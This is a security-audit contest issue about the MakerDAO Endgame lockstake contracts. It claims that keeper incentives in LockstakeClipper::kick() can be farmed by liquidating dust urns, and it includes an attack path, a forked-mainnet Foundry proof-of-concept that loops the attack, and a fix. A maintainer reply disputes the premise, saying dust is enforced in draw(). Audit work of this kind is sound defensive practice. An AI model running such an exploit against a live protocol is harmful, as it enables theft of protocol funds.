sherlock-audit / 2024-06-makerdao-endgame-judging

5 stars 3 forks source link

0x73696d616f - Attackers will steal Maker and its users by opening dust urns and instantly liquidating, stealing up to infinite funds #6

Closed sherlock-admin4 closed 3 months ago

sherlock-admin4 commented 3 months ago

0x73696d616f

High

Attackers will steal Maker and its users by opening dust urns and instantly liquidating, stealing up to infinite funds

Summary

LockstakeClipper::kick() always provides incentives to kick a liquidation auction, regardless of the size of the urn to liquidate. Thus, attackers can create urns with dust amounts, liquidate them in the next block as the rate has increased and steal keeper fees. The attack can be repeated as many times as the attacker wants, so it will have catastrophic impacts.

Note: this issue is partially mentioned in the readme, but it fails to address the correct impact, as it assumes the dust threshold is always taken into account, but it is not and it is possible to create liquidations with an amount of 10 or similar.

As with other collaterals, "tip" and "chip" are assumed to be chosen very carefuly, while taking into account the dust parameter and with having in mind incentive farming risks.

Root Cause

In LockstakeClipper::kick(), incentives are always given, as can be seen in the code below.

function kick(
    ...
) external auth lock isStopped(1) returns (uint256 id) {
    ...
    uint256 _tip  = tip;
    uint256 _chip = chip;
    uint256 coin;
    if (_tip > 0 || _chip > 0) { //@audit missing minimum amount check
        coin = _tip + wmul(tab, _chip);
        vat.suck(vow, kpr, coin);
    }
    ...
}

This can be abused by attackers who created dust urns and liquidate them right away, stealing keeper fees.

Internal pre-conditions

None.

External pre-conditions

None.

Attack Path

  1. Attacker calls LockstakeEngine::open(), opening an urn (or reuses a previous one).
  2. Attacker calls LockstakeEngine::lock(), locking a dust amount (such as 10) in the urn.
  3. Attacker calls LockstakeEngine::draw(), drawing the maximum possible such that it is almost liquidated.
  4. Attacker waits out 1 block.
  5. Attacker calls Jug::drip(), increasing the interest rate on the borrows so the urn becomes liquidatable.
  6. Attacker calls Dog::bark(), which calls LockstakeClipper::kick(), performing the liquidation and receiving the incentives through Vat::suck().
  7. Attacker calls DaiJoin::exit() and withdraws the DAI. Steps 1-3 and 5-6 can be performed in a loop to increase the theft and decrease gas costs.

Impact

Attacker receives keeper fees without actually contributing to the protocol. Due to the use of a flat tip as liquidation incentive, the protocol has to ensure that it only hands it out if the to be liquidated urn actually has collateral and debt to justify the incentive. Otherwise the mechanism can be abused by attackers that create dust lock and draw urns to steal the incentives, putting the whole protocol at risk. Thus, the attacker steals up to infinite funds from the protocol and creates a huge amount of debt, which would harm the protocol and all users.

PoC

A poc was built forking block 20293240, confirming that the described attack is possible and is very profitable for an attacker. The attack can be repeated as many times as the attacker wishes, as long as the incentives exceeds the gas cost. The bigger the number of iterations the more profit the attacker can make, which is theoretical unlimited and we can confirm that with only 50 iterations the attacker is able to get 5k $DAI spending only 271 USD in gas fees.

function test_POC_ProfitableLiquidation() public {
    address attacker = makeAddr("attacker");
    uint256 lockAmount = 10;
    uint256 numAttacks = 50;
    address[] memory urns = new address[](numAttacks);
    deal(address(mkr), attacker, lockAmount*numAttacks);
    vm.startPrank(attacker);

    uint256 initGas = gasleft();
    mkr.approve(address(engine), type(uint256).max);

    for (uint i = 0; i < numAttacks; i++) {
        urns[i] = engine.open(i);
        engine.lock(urns[i], lockAmount, 0);
        (,, uint256 spot,,) = dss.vat.ilks(ilk);
        uint256 drawAmount = lockAmount * spot / RAY;
        engine.draw(urns[i], attacker, drawAmount);
    }
    uint256 totalGas = initGas - gasleft();

    skip(12);

    initGas = gasleft();
    for (uint i = 0; i < numAttacks; i++) {
        dss.jug.drip(ilk);
        dss.dog.bark(ilk, urns[i], attacker);
    }
    totalGas += initGas - gasleft();

    initGas = gasleft();
    dss.vat.hope(address(dss.daiJoin));
    dss.daiJoin.exit(attacker, dss.vat.dai(attacker) / RAY);
    totalGas += initGas - gasleft();

    assertEq(totalGas, 29036936);
    uint256 gasPrice = 3; // gwei
    uint256 ethPrice = 3122; // USD
    uint256 cost = totalGas * gasPrice * ethPrice / 1e9 ;
    assertEq(cost, 271);
    assertEq(dss.dai.balanceOf(attacker), 5000);
}

Mitigation

Implement a similar mitigation to the one performed in LockstakeClipper::redo(). It correctly only hands out incentives if the size of the liquidation is bigger than a chost threshold, mitigating this attack vector.

function redo(
    ...
) external lock isStopped(2) {
    ...
    uint256 _tip  = tip;
    uint256 _chip = chip;
    uint256 coin;
    if (_tip > 0 || _chip > 0) {
        uint256 _chost = chost;
        if (tab >= _chost && lot * feedPrice >= _chost) { //@audit here this attack vector is correctly mitigated
            coin = _tip + wmul(tab, _chip);
            vat.suck(vow, kpr, coin);
        }
    }
    ...
}
sunbreak1211 commented 3 months ago

Dust does set a lower limit to the size of the vault. In the submission example the user locks 10 units, but the LockstakeEngine::draw() is the call where dust will be enforced.